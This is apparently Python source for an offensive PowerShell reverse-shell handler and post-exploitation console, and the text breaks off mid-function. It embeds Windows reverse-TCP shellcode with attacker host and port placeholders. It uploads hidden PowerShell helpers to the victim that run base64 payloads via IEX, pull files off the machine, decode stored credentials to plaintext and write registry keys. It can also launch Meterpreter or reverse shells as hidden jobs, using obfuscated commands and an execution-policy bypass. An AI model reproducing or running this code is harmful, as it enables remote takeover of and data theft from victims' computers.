"0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b," + "0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c," + "0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52," + "0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20," + "0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac," + "0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75," + "0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3," + "0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff," + "0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77," + "0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00," + "0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,[_LHOST_]," # << LHOST gets declared here as 4 bytes + "0x68,0x02,0x00,[_LPORT_],0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68," # << LPORT gets declared here as 2 bytes + "0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61," + "0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56," + "0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b," + "0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5," + "0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5," + "0x1,0xc3,0x29,0xc6,0x75,0xee,0xc3", } class Framework(object): framework = { "IsAdmin" : { "name" : "", "function" : "(){([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')}", }, "SetWidth" : { "name" : "", "function" : "($w){$u=(get-host).ui.rawui;$s=$u.buffersize;$s.width=$w;$u.buffersize=$s;$s=$u.windowsize;$s.width=$w;$u.windowsize=$s;}", }, "AbsolutePath" : { "name" : "", "function" : "($f){(resolve-path $f).path}", }, "DownloadCmds" : { "name" : "", "function" : "(){get-command|?{$_.ModuleName}|select Name|ft -HideTableHeaders}", }, "FileExist" : { "name" : "", "function" : "($f){Test-Path $f}", }, "FileSize" : { "name" : "", "function" : "($f){(Get-Item $f).length}", }, "FileSum" : { "name" : "", "function" : "($f){[System.BitConverter]::ToString((New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider).ComputeHash([System.IO.File]::ReadAllBytes($f))).replace('-','')}", }, "DownloadChunk" : { "name" : "", "function" : "($f,$o,$l){$s=(New-Object IO.FileStream -ArgumentList $f,([IO.FileMode]::Open),([IO.FileAccess]::Read));$b=(New-Object 'Byte[]'-ArgumentList $l);$s.Position=$o;$n=$s.Read($b,0,$b.Length);[void]$s.Close();return [Convert]::ToBase64String($b[0..($n-1)])}", }, "UploadChunk" : { "name" : "", "function" : "($f,$b){$b=[Convert]::FromBase64String($b);while($True){try{$s=(New-Object IO.FileStream -ArgumentList $f,([IO.FileMode]::Append),([IO.FileAccess]::Write));[void]$s.Write($b,0,$b.length);[void]$s.Dispose();[void]$s.Close(); break;}catch{}}}", }, "UploadVariableChunk" : { "name" : "", "function" : "($v,$b){Set-Variable -Name $v -Value ((Get-Variable -Name $v -Scope Global).Value + $b) -Scope Global}", }, "VariableSum" : { "name" : "", "function" : "($v){if((Test-Path variable:global:$v)){[BitConverter]::ToString((New-Object -TypeName Security.Cryptography.MD5CryptoServiceProvider).ComputeHash([Convert]::FromBase64String((Get-Variable -Name $v -Scope Global).Value))).replace('-','')}}", }, "InvokeVariable" : { "name" : "", "function" : "($v){if((Test-Path variable:global:$v)){IEX((new-object -TypeName System.Text.UTF8Encoding).GetString([Convert]::FromBase64String((Get-Variable -Name $v -Scope Global).Value)))}}", }, "InvokeModuleVariable" : { "name" : "", "function" : "($v){if((Test-Path variable:global:$v)){IEX \"`$b=[ScriptBlock]::Create(((new-object -TypeName System.Text.UTF8Encoding).GetString([Convert]::FromBase64String((Get-Variable -Name $v -Scope Global).Value))));New-Module -ScriptBlock `$b -Name $v\"}}", }, "CreateCredential" : { "name" : "", "function" : "($v,$u,$p){Set-Variable -Name $v -Value (new-object -typename System.Management.Automation.PSCredential -argumentlist ($u, (ConvertTo-SecureString -String $p -AsPlainText -Force))) -Scope Global}", }, "GetCredential" : { "name" : "", "function" : "($v){if((Test-Path variable:global:$v) -and ((Get-Variable $v).GetType().Name -eq'PSVariable')){(Get-Variable $v).value.Username + \"`n\" + [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR(((Get-Variable $v).value.Password)))}}", }, "AddKeyValue" : { "name" : "", "function" : "($p,$n,$v){New-ItemProperty -Path $p -Name $n -Value $v -PropertyType STRING -Force|Out-Null}", }, "RemoveKeyValue" : { "name" : "", "function" : "($p,$n){Remove-ItemProperty -Path $p -Name $n -Force|Out-Null}", }, "GetKeyValue" : { "name" : "", "function" : "($p,$n){(Get-ItemProperty -Path $p -Name $n).$n}", }, "PersistenceKey" : { "name" : "", "function" : "($p){(Get-Item -Path $p)|select -ExpandProperty Property|?{$_ -eq [System.BitConverter]::ToString((new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider).ComputeHash((new-object -TypeName System.Text.UTF8Encoding).GetBytes((Get-ItemProperty -Path $p -Name $_).$_))).Replace('-', '').tolower()}}", }, } def __init__(self, send_delegate, check_delegate, receive_delegate): # Set delegates self.send_delegate = send_delegate self.check_delegate = check_delegate self.receive_delegate = receive_delegate # Set dynamic function names to framework for fnc in self.framework: self.framework[fnc]["name"] = Utility.dynamic_variable() self.framework[fnc]["function"] = "function " + self.framework[fnc]["name"] + self.framework[fnc]["function"] def Upload(self): count = 0 for fnc in self.framework: sys.stdout.write("\b" * Print.status("Uploading framwork: {0:.2f}%".format(count / len(self.framework) * 100), True)) self.send_delegate(self.framework[fnc]["function"]) self.receive_delegate(0) count += 1 Print.success("Framework uploaded successfully" + Print.wipe()) def IsAdmin(self): return self.check_delegate(self.framework["IsAdmin"]["name"]).lower() == "true" def DownloadCommands(self): return [x.strip() for x in self.check_delegate(self.framework["DownloadCmds"]["name"]).replace("\n", "").split("\r")[1:]] def SetWidth(self, width): return self.check_delegate(self.framework["SetWidth"]["name"] + " -w " + str(width)) def AbsolutePath(self, file_path): return self.check_delegate(self.framework["AbsolutePath"]["name"] + " -f '" + file_path + "'") def FileExist(self, file_path): return self.check_delegate(self.framework["FileExist"]["name"] + " -f '" + file_path + "'").lower() == "true" def FileSize(self, file_path): return int(self.check_delegate(self.framework["FileSize"]["name"] + " -f '" + file_path + "'")) if self.FileExist(file_path) else 0 def FileSum(self, file_path): return self.check_delegate(self.framework["FileSum"]["name"] + " -f '" + file_path + "'") if self.FileExist(file_path) else "" def DownloadChunk(self, file_path, offset, limit): self.send_delegate(self.framework["DownloadChunk"]["name"] + " -f '" + file_path + "'" + " -o " + str(offset) + " -l " + str(limit)) return ("".join(self.receive_delegate(0).split("\n")[:-1])).strip() def UploadChunk(self, file_path, base64_chunk): self.send_delegate(self.framework["UploadChunk"]["name"] + " -f '" + file_path + "'" + " -b " + base64_chunk) self.receive_delegate(0) def UploadVariableChunk(self, variable_name, base64_chunk): self.send_delegate(self.framework["UploadVariableChunk"]["name"] + " -v " + variable_name + " -b " + base64_chunk) self.receive_delegate(0) def VariableSum(self, variable_name): return self.check_delegate(self.framework["VariableSum"]["name"] + " -v " + variable_name) def InvokeVariable(self, variable_name): self.send_delegate(self.framework["InvokeVariable"]["name"] + " -v " + variable_name) return self.receive_delegate(0) def InvokeModuleVariable(self, variable_name): self.send_delegate(self.framework["InvokeModuleVariable"]["name"] + " -v " + variable_name) return self.receive_delegate(0) def CreateCredential(self, variable_name, username, password): self.check_delegate(self.framework["CreateCredential"]["name"] + " -v " + variable_name + " -u '" + username + "' -p '" + password + "'") def GetCredential(self, variable_name): self.send_delegate(self.framework["GetCredential"]["name"] + " -v " + variable_name) return self.receive_delegate(0) def AddKeyValue(self, path, name, value): self.check_delegate(self.framework["AddKeyValue"]["name"] + " -p \"" + path + "\" -n \"" + name + "\" -v \"" + value + "\"") def RemoveKeyValue(self, path, name): return "" def GetKeyValue(self, path, name): return "" def PersistenceKey(self, path): return "" class Listener(object): def __init__(self, lhost, lport): self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.lhost = lhost self.lport = lport self.framework = Framework(self.send_command, self.check_command, self.get_response) self.command_definition = {} self.credentials = [] self.fast_load = False self.prompt = "" self.os_target = None # Define command behavior self.command_definition["Local-Invoke"] = lambda x: self.psh_Local_Invoke(x[len("Local-Invoke"):].strip()) self.command_definition["Local-Import-Module"] = lambda x: self.psh_Local_Invoke(x[len("Local-Import-Module"):].strip(), True) self.command_definition["Local-Set-Width"] = lambda x: self.psh_Local_Set_Width(x[len("Local-Set-Width"):].strip()) self.command_definition["Local-Upload"] = lambda x: self.psh_Local_Upload(x[len("Local-Upload"):].strip()) self.command_definition["Local-Download"] = lambda x: self.psh_Local_Download(x[len("Local-Download"):].strip()) self.command_definition["Local-Download-Commands"] = lambda x: self.psh_Local_Download_Commands() self.command_definition["Local-Enumerate-System"] = lambda x: self.psh_Local_Enumerate_System() self.command_definition["Local-Check-Status"] = lambda x: self.psh_Local_Check_Status() self.command_definition["Local-Spawn-Meterpreter"] = lambda x: self.psh_Local_Spawn_Shell(conf_name.METERPRETER) self.command_definition["Local-Spawn-Reverse-Shell"] = lambda x: self.psh_Local_Spawn_Shell(conf_name.REVERSE_SHELL) self.command_definition["Local-Credential-Create"] = lambda x: self.psh_Local_Credential(True) self.command_definition["Local-Credential-List"] = lambda x: self.psh_Local_Credential() self.command_definition["clear"] = lambda x: self.psh_Local_Clear() # Define autocomplete readline.parse_and_bind("tab: complete") readline.set_completer(self.cmd_complete) readline.set_completion_display_matches_hook(self.cmd_match_display_hook) readline.set_completer_delims("") def cmd_complete(self, text, state): # Path holder paths = [] # Iterate though all command definitions for cmd in self.command_definition: # Add command to paths paths.append(cmd) # Check for command if cmd.startswith(text.split(" ")[0]) and text.split(" ")[0] == cmd: # Check for local dictionart mapping if cmd == "Local-Invoke" or cmd == "Local-Import-Module" or cmd == "Local-Upload": current = text[len(cmd):].strip() for x in glob.glob(current + "*"): paths.append(cmd + " " + x) # Exclude all paths not starting with typed text (case insensitive) paths = [path for path in paths if path.lower().startswith(text.lower())] # Check if only one command exists if len(paths) == 1 and paths[0] == text: paths = [] # Empty paths # Iterate through paths, and return accordingly for path in paths: if not state: return path else: state -= 1 def cmd_match_display_hook(self, substitution, matches, longest_match_length): # Cell formatter def format_cell(cell): # Split command into pieces cmd = cell.split(" ") # Check if command has parameters if len(cmd) == 1: # Format command with parameters return "\033[92m\033[92m" + cell + "\033[0m\033[0m" if ( cmd[0] in self.command_definition and self.command_definition[cmd[0]] != None ) else "\033[00m\033[00m" + str(cell) + "\033[0m\033[0m" else: # Format command without parameters return "\033[92m" + cmd[0] + "\033[0m \033[94m" + " ".join(cmd[1:]) + "\033[0m" if ( cmd[0] in self.command_definition and self.command_definition[cmd[0]] != None ) else "\033[00m\033[00m" + str(cell) + "\033[0m\033[0m" # Define column width column_width = 50 # Check if any match exeeds the column width if max(len(x) for x in matches) < column_width: # Calculate number of columns that will fit column_count = (Utility.get_terminal_width() // column_width) # Holder for columns columns = [] # Generate base template # column_width + (9 * 2), where 9 * 2 represents the combined length of all terminal text formats base_template = "\n " + str(("{:<" + str(column_width + 9 * 2) + "}") * (column_count - 1)) + "{:<}" # Add empty matches if columns are uneven for i in range((len(matches) % column_count) + 1): matches.append("") # Reorder columns for column_index in range(column_count): columns.append(matches[column_index::column_count]) # Zip variable length lists for row in zip(*columns): # Print variable length rows sys.stdout.write(base_template.format(*[format_cell(cell) for cell in row])) # Print list instead else: # Iterate through cells as a list for cell in matches: # Format each list item sys.stdout.write("\n {0}".format(format_cell(cell))) # Print prompt sys.stdout.write("\n") sys.stdout.write(self.prompt) sys.stdout.write(substitution) # Flush stream sys.stdout.flush() def start(self): # Create connection holder self.connection = None try: Print.text() self.server.bind((self.lhost, self.lport)) Print.info("Started reverse handler on %s:%d" % (self.lhost, self.lport)) self.server.listen(1) self.connection, address = self.server.accept() fcntl.fcntl(self.server, fcntl.F_SETFL, os.O_NONBLOCK) Print.success("Incomming connection from: %s:%d" % address) Print.status("Interacting...") Print.text() Print.text("\033[38;5;226m\033[48;5;196mBe aware: this is a pseudo powershell. Interactive prompts will result in hangs.\033[0m") Print.text("\033[38;5;226m\033[48;5;196mI.e. netsh, cmd, cat, etc. When calling cmdlets specify all required parameters.\033[0m") Print.text() # Catch socket errors except socket.error as e: Print.error(str(e)) # Kill handler on KeyboardInterrupt except KeyboardInterrupt: Print.text(Print.wipe(64, True), True) Print.status("Killing handler..." + Print.wipe(64)) try: if self.connection: self.connection.close() except: pass # Check if connection is open if self.connection: # Try, with catch for socket error try: # Print initial prompt Print.text("\033[1m\033[38;5;255m" + ("\033[0m\n \033[1m\033[38;5;255m".join(self.get_response().split("\n")[:-1])).strip() + "\033[0m") # Upload framework self.framework.Upload() # Set buffer and window width self.psh_Local_Set_Width() # Download commands from client self.psh_Local_Download_Commands() # Run initial status check for privilages self.psh_Local_Check_Status() while True: # Try, with catch for keyboard interrupt try: # Get response response = self.get_response(0) if self.fast_load else self.get_response() # Indicate a slow load self.fast_load = False # If response is empty... then close connection if not response: break # Format response self.prompt = self.format_response(response) # Send new data command = input(self.prompt) # Check if command is predefined if command.split(" ")[0] in self.command_definition and self.command_definition[command.split(" ")[0]] != None: # Execute command locally self.command_definition[command.split(" ")[0]](command) # Indicate a fast load self.fast_load = True else: # Execute command on client self.send_command(command) # Catch keyboard interrupt except KeyboardInterrupt: Print.text() if Print.confirm("Are you sure you want to kill the listener?"): break else: self.send_command("") pass # Catch socket error except socket.error as e: if e.errno != errno.ECONNRESET: Print.error(str(e)) pass self.connection.close() self.server.shutdown(1) self.server.close() else: try: self.server.shutdown(1) except: pass self.server.close() Print.info("Closing connection") def get_response(self, timespan=0.5): # Make socket non blocking self.connection.setblocking(0) # Data buffer _buffer = []; # Set the beginning time begin = time.time() # Wait for buffer and timespan (this could create an infinite loop, so return on ctrl+c) while not (_buffer and (time.time() - begin) > timespan): try: # Read data in pipe data = self.connection.recv(8192).decode("iso-8859-1") if data: # Add data to buffer _buffer.append(data) # Change the beginning time begin = time.time() else: # Add gap time.sleep(0.1) # If socket error except socket.error as e: # Return empty on ECONNRESET if e.errno == errno.ECONNRESET: return "" # Pass on other errors (such as EWOULDBLOCK) pass # Return empty ctrl+c except KeyboardInterrupt: return "" # Make socket blocking again self.connection.setblocking(1) # join all parts to make final string return "".join(_buffer) def format_response(self, response): prompt = "" searcher = re.compile(r"(exception ::)(((.*)\n)*)(:: exception\n)") response = str(response) error = searcher.search(response) response = searcher.sub("", response).strip().split("\n") for i in range(len(response)): if i == len(response) - 1: if error: sys.stdout.write(("\n \033[38;5;196m\033[48;5;16m" + "\033[0m\n \033[38;5;196m\033[48;5;16m".join((str(error.group(2)).strip()).split("\n"))) + "\033[0m\n") prompt = (" \033[1m\033[38;5;255m" + response[i] + "\033[0m") else: sys.stdout.write(" " + response[i] + "\n") sys.stdout.flush() return prompt def send_command(self, command): self.connection.send((command + "\n").encode("iso-8859-1")) def check_command(self, command): self.connection.send((command + "\n").encode("iso-8859-1")) return ("".join(self.get_response().split("\n")[:-1])).strip() def psh_Local_Check_Status(self): output = "" # Clear command buffer self.check_command("") sys.stdout.write("\b" * Print.status("Checking status...", True)) # Check os architecture self.os_target = os_target.WIN32 if self.check_command("if ([System.IntPtr]::Size -eq 4) { \"32\" } else { \"64\" }") == "32" else os_target.WIN64 output += ("Elevated privilages? " + ("\033[1m\033[92mYes" if self.framework.IsAdmin() else "\033[1m\033[91mNo") + "\033[0m\n\n") self.send_command("(whoami /priv /nh) -replace '(\ (.*))',''") output += (" " + ("Privilages information\n --------------------------------------------------------------------------------\n \033[92m" + "\033[0m\n \033[92m".join(self.get_response().split("\n")[:-1])).strip() + "\033[0m\n") Print.text(Print.wipe()) Print.text(output) # Send empty command to load buffer self.send_command("") def psh_Local_Spawn_Shell(self, payload_type): # Clear command buffer self.check_command("") credential_name = None Print.text() Print.text("Supply values for the following parameters:") lhost = input(" \033[1m\033[38;5;255mLHOST:\033[0m ").strip() lport = input(" \033[1m\033[38;5;255mLPORT:\033[0m ").strip() Print.text() Print.text("\033[1m\033[38;5;255mSpecify Credentials:\033[0m Run the Job with different credentials.") if Print.confirm("Specify other credentials?", False): credential_name = Utility.dynamic_variable() Print.text() Print.text("Supply values for the following parameters:") username = input(" \033[1m\033[38;5;255mUsername:\033[0m ").strip() password = input(" \033[1m\033[38;5;255mPassword:\033[0m ").strip() self.framework.CreateCredential(credential_name, username, password) Print.text() Print.text("\033[1m\033[38;5;255mASK Elevation:\033[0m This will trigger the UAC (using a so called ASK elevation). This is NOT stealthy.") use_elevation = Print.confirm("Use 'ASK Elevation?'", False) Print.text() if (not Utility.is_ipv4_address(lhost)): Print.error("LHOST is not an IP address") lhost = None if (not (lport.isdigit() and int(lport) >= 1 and int(lport) <= 65535)): Print.error("LPORT is not a valid port number") lport = None if lhost != None and lport != None: if payload_type == conf_name.METERPRETER: payload = generate_injection( Utility.replace_all( shellcodes[(shellcode.REVERSE_TCP_32 if self.os_target == os_target.WIN32 else shellcode.REVERSE_TCP_64)], ("[_LPORT_]", "[_LHOST_]"), Utility.local_address_to_binary_array_string(lhost, lport) ), self.os_target ).encode("utf8") elif payload_type == conf_name.REVERSE_SHELL: payload = generate_reverse_shell(lhost, lport).encode("utf8") else: Print.error("Unknown payload") # Send empty command to load buffer self.send_command("") return variable_name = Utility.dynamic_variable() job_name = Utility.dynamic_variable() # Get payload size length = len(payload) chunk_size = 384 uploaded = 0 # Start timer now = time.time() # Reserve variable with an empty value self.framework.UploadVariableChunk(variable_name, "") # Loop through each data chunk for i in range(int(length / chunk_size) + 1): # Read base64 encoded chunk from file self.framework.UploadVariableChunk(variable_name, base64.b64encode(payload[(i * chunk_size):(i * chunk_size + chunk_size)]).decode("utf-8", "ignore")) uploaded += (length - uploaded) if ((length - uploaded) < chunk_size) else chunk_size # Print sexy status sys.stdout.write("\b" * Print.status( "Uploading: \033[92m{1:s}\033[0m \033[94m==>\033[0m \033[92m{2:s}\033[0m (\033[96m{0:.2f}%\033[0m) \033[38;5;130m{3:s}\033[0m".format( (uploaded / length * 100), Print.size(uploaded), Print.size(length), Print.ETA(now, uploaded, length) ) + Print.wipe(), True)) # Prompt for integrity check sys.stdout.write("\b" * Print.status("Checking integrity..." + Print.wipe(), True)) # Check integrity (of variable) if (self.framework.VariableSum(variable_name).lower() == hashlib.md5(payload).hexdigest().lower()): Print.success("Upload completed" + Print.wipe()) sys.stdout.write("\b" * Print.status("Launching background job...", True)) # Invoke payload! self.check_command("$" + variable_name + " = [scriptblock]::Create((new-object -TypeName System.Text.UTF8Encoding).GetString([Convert]::FromBase64String($" + variable_name + ")))") # Escape payload back to string, and back to scriptblock self.check_command("$" + variable_name + " = $" + variable_name + ".ToString() -replace \"\\$\",\"``$\"") # Check if elevation should be used if use_elevation: self.check_command("$" + variable_name + " = [scriptblock]::Create(\"(Start-Process " + powershell_obfuscation("[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_VERB_] [_OBF_RUNAS_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $" + variable_name + "`\"") + ").ID\")") # Execute with -NoNewWindow else: self.check_command("$" + variable_name + " = [scriptblock]::Create(\"(Start-Process " + powershell_obfuscation("[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_NONEWWINDOW_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $" + variable_name + "`\"") + ").ID\")") if credential_name == None: self.check_command("Start-Job -Name " + job_name + " -ScriptBlock $" + variable_name) else: self.check_command("Start-Job -Name " + job_name + " -ScriptBlock $" + variable_name + " -Credential $" + credential_name ) self.check_command("Remove-Variable -Name " + credential_name) Print.success("Job started: " + job_name) Print.info("Check status with \033[1m\033[38;5;255mGet-Job " + job_name + "\033[0m") Print.info("Check process ID with \033[1m\033[38;5;255m(Get-Job " + job_name + ").ChildJobs.Output\033[0m or \033[1m\033[38;5;255m(((Get-Job " + job_name + ").ChildJobs)|Select Output).Output\033[0m") else: Print.error("Integrity check failed" + Print.wipe()) # Remove variable after it has been used self.check_command("Remove-Variable -Name " + variable_name) else: Print.error("Incorrect values were specified") # Print empty line Print.text() # Send empty command to load buffer self.send_command("") def psh_Local_Credential(self, create_new=False): # Clear command buffer self.check_command("") if create_new: Print.text() Print.text("Supply values for the following parameters:") variable_name = Utility.dynamic_variable() username = input(" \033[1m\033[38;5;255mUsername:\033[0m ").strip() password = input(" \033[1m\033[38;5;255mPassword:\033[0m ").strip() self.framework.CreateCredential(variable_name, username, password) self.credentials.append(variable_name) Print.success("Credential created as global variable: \033[1m\033[38;5;255m" + variable_name + "\033[0m") elif len(self.credentials) > 0: credentials = [] sys.stdout.write("\b" * Print.status("Collecting credentials...", True)) for credential in self.credentials: result = self.framework.GetCredential(credential).split("\n")[:-1] if (len(result) == 2): credentials.append([credential, result[0], result[1]]) if len(credentials) > 0: column0_max = max(max(len(x[0]) for x in credentials), len("Variable")) + 2 column1_max = max(max(len(x[1]) for x in credentials), len("Username")) + 2 column2_max = max(max(len(x[2]) for x in credentials), len("Password")) + 2 base_template = "\n {:<" + str(column0_max) + "}{:<" + str(column1_max) + "}{:<}" sys.stdout.write(Print.wipe()) sys.stdout.write(base_template.format("Variable", "Username", "Password")) sys.stdout.write("\n " + ("-" * (column0_max - 2)) + " " + ("-" * (column1_max - 2)) + " " + ("-" * (column2_max - 2))) for credential in credentials: sys.stdout.write(base_template.format(credential[0], credential[1], credential[2])) sys.stdout.write("\n") sys.stdout.flush() Print.text() else: Print.warning("No credentials have been created") else: Print.warning("No credentials have been created") # Send empty command to load buffer self.send_command("") def psh_Local_Clear(self): # Clear console os.system("clear; echo -e \"\\033c\\e[3J\"") # Send empty command to load buffer self.send_command("") def psh_Local_Invoke(self, file_path, is_module=False): try: # Remove encapsulating quotes file_path = Utility.remove_encapsulating_quotes(file_path) # Do nothing if file path is empty if len(file_path) > 0: sys.stdout.write("\b" * Print.status("Checking file..." + Print.wipe(), True)) # Get filename, for local storage file_name = os.path.basename(file_path) # Remove remote file if exists if os.path.isfile(file_path): # Temporary variable name variable_name = Utility.dynamic_variable() # Get file size length = os.path.getsize(file_path) chunk_size = 384 uploaded = 0 # Check if file is empty if length > 0: # Reserve variable with an empty value self.framework.UploadVariableChunk(variable_name, "") # Open file for byte reading with open(file_name, "rb") as _file: # Start timer now = time.time() # Loop through each data chunk for i in range(int(length / chunk_size) + 1): # TODO :: Check if this can be made less CPU-intensive # Read base64 encoded chunk from file data = _file.read(chunk_size) self.framework.UploadVariableChunk(variable_name, base64.b64encode(data).decode("utf-8", "ignore")) uploaded += len(data) # Print sexy status sys.stdout.write("\b" * Print.status( "Uploading: \033[92m{1:s}\033[0m \033[94m==>\033[0m \033[92m{2:s}\033[0m (\033[96m{0:.2f}%\033[0m) \033[38;5;130m{3:s}\033[0m".format( (uploaded / length * 100), Print.size(uploaded), Print.size(length), Print.ETA(now, uploaded, length) ) + Print.wipe(), True)) # Prompt for integrity check sys.stdout.write("\b" * Print.status("Checking integrity..." + Print.wipe(), True)) # Check integrity (of variable) if (self.framework.VariableSum(variable_name).lower() == hashlib.md5(open(file_path, "rb").read()).hexdigest().lower()): Print.success("Upload completed" + Print.wipe()) Print.status("Invoking command...") # Invoke variable and print result # Retrieve prompt as the evaluation can effect the enviornment if is_module: self.prompt = self.format_response(self.framework.InvokeModuleVariable(variable_name)) else: self.prompt = self.format_response(self.framework.InvokeVariable(variable_name)) else: Print.error("Integrity check failed" + Print.wipe()) # Remove variable after it has been used self.check_command("Remove-Variable -Name " + variable_name) # Show error if file is empty else: Print.error("The file is empty") # Show error if file doesn't exist else: Print.error("File does not exist") # Abort on ctrl+c except KeyboardInterrupt: Print.warning("Upload aborted" + Print.wipe(64)) # Add big wipe to remove eventual "^C" # Clear command buffer self.check_command("") # Unkown exception except Exception as e: Print.error("Something went wrong") Print.error(str(e)) # Clear command buffer self.check_command("") # Send empty command to load buffer self.send_command("") def psh_Local_Download_Commands(self): # Clear command buffer self.check_command("") # Print message sys.stdout.write("\b" * Print.status("Downloading commands...", True)) # Remove remote commands self.command_definition = {k: v for k, v in self.command_definition.items() if v != None} # Download commands for command in self.framework.DownloadCommands(): self.command_definition[command] = None # Wipe line sys.stdout.write(Print.wipe()) # Clear command buffer self.check_command("") # Send empty command to load buffer self.send_command("") def psh_Local_Set_Width(self, width=0): width = (Utility.get_terminal_width() - 2) if (width == 0 or len(str(width).strip()) == 0) else width if str(width).isdigit() and int(width) >= 80 and int(width) <= 1024: self.framework.SetWidth(int(width)) Print.success("Window buffer width: " + str(width)) else: Print.error("Illegal value") # Clear command buffer self.check_command("") # Send empty command to load buffer self.send_command("") def psh_Local_Upload(self, file_path): # Remote file path holder, declared outside try-catch as it's used inside catch remote_file_path = "" try: # Remove encapsulating quotes file_path = Utility.remove_encapsulating_quotes(file_path) # Do nothing if file path is empty if len(file_path) > 0: sys.stdout.write("\b" * Print.status("Checking file..." + Print.wipe(), True)) # Get filename, for local storage file_name = os.path.basename(file_path) # Get absolute path from client, as some programs use starting path instead of the working directory remote_file_path = self.framework.AbsolutePath(".//") + file_name # Remove remote file if exists if os.path.isfile(file_path): # Get file size length = os.path.getsize(file_path) chunk_size = 384 uploaded = 0 # Check if file is empty if length > 0: # Remove remote file if exists if self.framework.FileExist(remote_file_path): self.check_command("rm " + remote_file_path) # Open file for byte reading with open(file_name, "rb") as _file: # Start timer now = time.time() # Loop through each data chunk for i in range(int(length / chunk_size) + 1): # Read base64 encoded chunk from file data = _file.read(chunk_size) self.framework.UploadChunk(remote_file_path, base64.b64encode(data).decode("utf-8", "ignore")) uploaded += len(data) # Print sexy status sys.stdout.write("\b" * Print.status( "Uploading: \033[92m{1:s}\033[0m \033[94m==>\033[0m \033[92m{2:s}\033[0m (\033[96m{0:.2f}%\033[0m) \033[38;5;130m{3:s}\033[0m".format( (uploaded / length * 100), Print.size(uploaded), Print.size(length), Print.ETA(now, uploaded, length) ) + Print.wipe(), True)) # Prompt for integrity check sys.stdout.write("\b" * Print.status("Checking integrity..." + Print.wipe(), True)) # Check integrity if (self.framework.FileSum(remote_file_path).lower() == hashlib.md5(open(file_path, "rb").read()).hexdigest().lower()): Print.success("Upload completed" + Print.wipe()) else: Print.error("Integrity check failed" + Print.wipe()) # Show error if file is empty else: Print.error("The file is empty") # Show error if file doesn't exist else: Print.error("File does not exist") # Abort on ctrl+c except KeyboardInterrupt: Print.warning("Upload aborted" + Print.wipe(64)) # Add big wipe to remove eventual "^C" # Remove remote file if exists if self.framework.FileExist(remote_file_path): self.check_command("rm " + remote_file_path) # Clear command buffer self.check_command("") # Send empty command to load buffer self.send_command("") def psh_Local_Download(self, file_path): try: # Remove encapsulating quotes file_path = Utility.remove_encapsulating_quotes(file_path) # Do nothing if file path is empty if len(file_path) > 0: sys.stdout.write("\b" * Print.status("Checking file..." + Print.wipe(), True)) # Get absolute path from client, as some programs use starting path instead of the working directory file_path = self.framework.AbsolutePath(file_path) # Get filename, for local storage file_name = file_path.split("\\")[-1:][0] # Check if file exists if (self.framework.FileExist(file_path)): # Get file size from client length = self.framework.FileSize(file_path) chunk_size = 384 downloaded = 0 # Check if file is empty if length > 0: # Remove local file if exists, data will get appended try: os.remove(file_name) except OSError: pass # Open file for byte appending with open(file_name, "ab") as _file: # Start timer now = time.time() # Loop through each data chunk for i in range(int(length / chunk_size) + 1): # Download base64 encoded chunk from client chunk = base64.b64decode((self.framework.DownloadChunk(file_path, i * chunk_size, chunk_size))) downloaded += len(chunk) # Write chunk to file _file.write(chunk) # Print sexy status sys.stdout.write("\b" * Print.status( "Downloading: \033[92m{1:s}\033[0m \033[94m==>\033[0m \033[92m{2:s}\033[0m 